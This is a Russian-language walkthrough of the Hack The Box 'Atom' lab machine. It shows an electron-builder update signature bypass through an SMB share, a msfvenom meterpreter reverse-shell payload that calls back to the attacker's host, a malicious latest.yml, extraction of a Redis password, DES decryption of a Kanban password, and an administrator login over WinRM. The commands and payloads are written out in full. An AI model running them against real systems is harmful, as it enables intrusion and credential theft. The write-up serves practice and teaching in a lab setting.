Хакер - HTB Atom. Ломаем приложение на electron-builder через систему обновлений
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Тестирование SMB
- Точка входа
- Точка опоры
- Продвижение
- Повышение привилегий
В этой статье мы атакуем приложение через уязвимость в electron-builder, поработаем с базой данных Redis и расшифруем пароль от Kanban. Все эти вещи встретятся нам при прохождении средней по сложности машины с площадки Hack The Box под названием Atom. Приступим!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем в /etc/hosts IP машины:
10.10.10.234 schooled.htb
И сканируем ее порты в два прохода при помощи Nmap:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Находим шесть открытых портов:
- порт 80 — веб‑сервер Apache 2.4.46;
- порт 135 — служба удаленного вызова процедур (Microsoft RPC);
- порт 443 — веб‑сервер Apache 2.4.46 + SSL (HTTPS);
- порт 445 — SMB;
- порт 5985 — служба удаленного управления WinRM;
- порт 6379 — Redis.
Раз есть сайт, начинать осмотр нужно именно с него. Здесь могут найтись и точки входа в виде разных уязвимостей, и просто важная инфа — к примеру, имена пользователей. И конечно, осмотр сайта дает возможность понять, с какими технологиями придется столкнуться.

На первый взгляд, ничего интересного на сайте нет, кроме возможности скачать архив с каким‑то программным обеспечением.
Тестирование SMB
Теперь проверяем, что нам может дать SMB. Подключившись к нему, находим общую директорию Software_Updates, которая доступна без авторизации. И c помощью SMBMap сразу просматриваем рекурсивно все содержимое (опция -R).
smbmap -H atom.htb -u anonymous

smbmap -H atom.htb -u anonymous -R Software_Updates

Нам доступны три однотипно названные директории client, а также файл UAT_Testing_Procedures.pdf. Давай‑ка скачаем его посмотреть. Для этого будем использовать smbclient.
smbclient "\\\10.10.10.237\Software_Updates"
get UAT_Testing_Procedures.pdf


Документ — это описание приложения для создания заметок под названием Heed. А разработан этот Heed с помощью electron-builder. Также в документе отмечен план перехода от одноуровневого толстого клиента на полноценную двухуровневую архитектуру.
ТОЧКА ВХОДА
Что очень важно, в документации изложена и техническая сторона работы с приложением. Так, в начале работы программу требуется скомпилировать и установить. Затем упоминается сервер обновлений. Чтобы обновиться, нужно поместить обновления в одну из папок client (теперь становится понятно их предназначение). При этом обновления будут проходить некую проверку контроля качества. Процесс проверки установленных обновлений нас не интересует.
Здесь уже виден следующий вектор атаки: на сервере работает приложение, которое автоматически обновляется, а мы имеем доступ к директории, откуда оно берет обновления. Нужно лишь разобраться, в каком виде требуется представить обновления, а также что делать с их проверкой.
Давай поищем известные уязвимости в electron-builder. Обычно следует искать сразу готовые эксплоиты, чтобы понимать уже реализованные уязвимости, и делать это с помощью поисковых движков вроде Google.

Electron-builder — это решение для упаковки и создания готового к распространению приложения Electron. Одно из его преимуществ — это поддержка автоматического обновления. Для версии под Mac и Windows реализована поддержка подписи и проверки кода — видимо, о таком контроле и упоминалось в документации. За автоматическое обновление отвечает модуль, который использует инсталлятор NSIS (в случае с Windows). Тот, в свою очередь, может подписывать обновления при помощи одного из двух алгоритмов хеширования: SHA-1 и SHA-256.
У electron-builder нашлась уязвимость, которую можно использовать для обхода проверки подписи, что должно привести нас к удаленному выполнению команд. Проверка подписи основана на сравнении строк publisherName исполняемого файла и атрибута Common Name сертификата обновления. При обновлении приложение получит с сервера обновлений файл latest.yml, который содержит описание, имя файла и хеш. Вот фрагмент кода, который производит обновление:
execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None", "-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], ...
Уязвимость заключается в том, что переменная ${tempUpdateFile} передается без экранирования, что позволяет обойти проверку строкой с ошибкой синтаксиса. Для этого в имени файла достаточно передать одинарную кавычку (').
ТОЧКА ОПОРЫ
Наша задача — подготовить «опасное» обновление. Для этого сделаем нагрузку meterpreter с помощью msfvenom (сразу оговорюсь, что на x64 работать не будет):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.126 LPROT=4321 -f exe -o "r'alf.exe"

Теперь подготовим подпись. Это хеш SHA-512 в кодировке Base64.
sha512sum "r'alf.exe" | cut -d " " -f1 | xxd -r -p | base64 -w0 ; echo

Завершим подготовку, создав файл latest.yaml. В нем указываем версию, URL, по которому будет загружен наш пейлоад, и подпись:
version: 1.5.7
path: http://10.10.14.126:8000/r'alf.exe
sha512: fkPZ57/dyfy7LqM0suIUt7RvlKopmEfJvv4SQCkrddvkfxnKl4GaYlBv3OW95M8tVLhTxNWZLJWMHSGap0yAMQ==
Осталось запустить веб‑сервер (я по традиции использую Python 3) и открыть листенер Metasploit Framework. Будем использовать модуль handler, которому нужно указать тип нагрузки, локальные хост и порт.
python3 -m http.server
msfconsole
use exploit/multi/handler
set LHOST 10.10.14.126
set LPORT 4321
run

Подключимся по SMB и разместим в любой из папок client файл latest.yml. Спустя некоторое время в логах веб‑сервера увидим загрузку нашего пейлоада, а в окне листенера — созданную сессию meterpreter.
smbclient "\\\10.10.10.237\Software_Updates"
cd client1
put latest.yml


ПРОДВИЖЕНИЕ
Так как мы работаем в приложении архитектуры x86, для стабильности нам нужно мигрировать в один из процессов x64. Сначала просмотрим все процессы текущего пользователя, а потом выполним миграцию в первый попавшийся.
ps -U jason
migrate [pid]
getpid


Теперь, когда мы получили доступ к хосту и успешно мигрировали в другой процесс, нам необходимо собрать информацию. Я это делаю при помощи скриптов PEASS, которые есть и для Windows, и для Unix. Они автоматически прошерстят систему, выдадут всю информацию и подсветят то, на что стоит обратить внимание. Загрузим на локальный хост скрипт для Windows. С Meterpreter это сделать очень легко.

В выводе мы получим всевозможную информацию, поэтому наша задача — выбрать важную. В списке установленного ПО находим Redis, причем мы можем увидеть путь к файлу конфигурации службы. Находим исполняемый файл Kanban, а также документацию к программе.




В файле конфигураций для Redis находим пароль.

Redis — это система управления базами данных класса NoSQL, работающая со структурами данных типа «ключ — значение». Используется как для баз данных, так и для реализации кешей и брокеров сообщений. В нашем случае Redis «смотрит наружу», поэтому мы можем использовать для работы клиент redis-cli (для установки нужно выполнить sudo apt install redis-tools).
Подключимся к службе и получим ключи:
redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat
keys *

Получим данные по ключу pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0.
get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0

Я сразу узнал конфиг Portable Kanban (кстати, он же установлен на хосте), так как достаточно долго возился с ним при прохождении другой машины — Sharp.
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы получили зашифрованный пароль, а в интернете наверняка есть информация о том, как его расшифровать. Долго искать не пришлось, первая же ссылка привела на Exploit-DB. Нам нужна малая часть кода, а вернее, только одна функция. Но сначала установим библиотеку des (python3 -m pip install des).
from des import *
import base64
hash = base64.b64decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi".encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

Получаем пароль администратора, с помощью которого мы можем авторизоваться через службу WinRM.
evil-winrm -i 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'

У нас есть флаг рута, а значит, машина захвачена.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei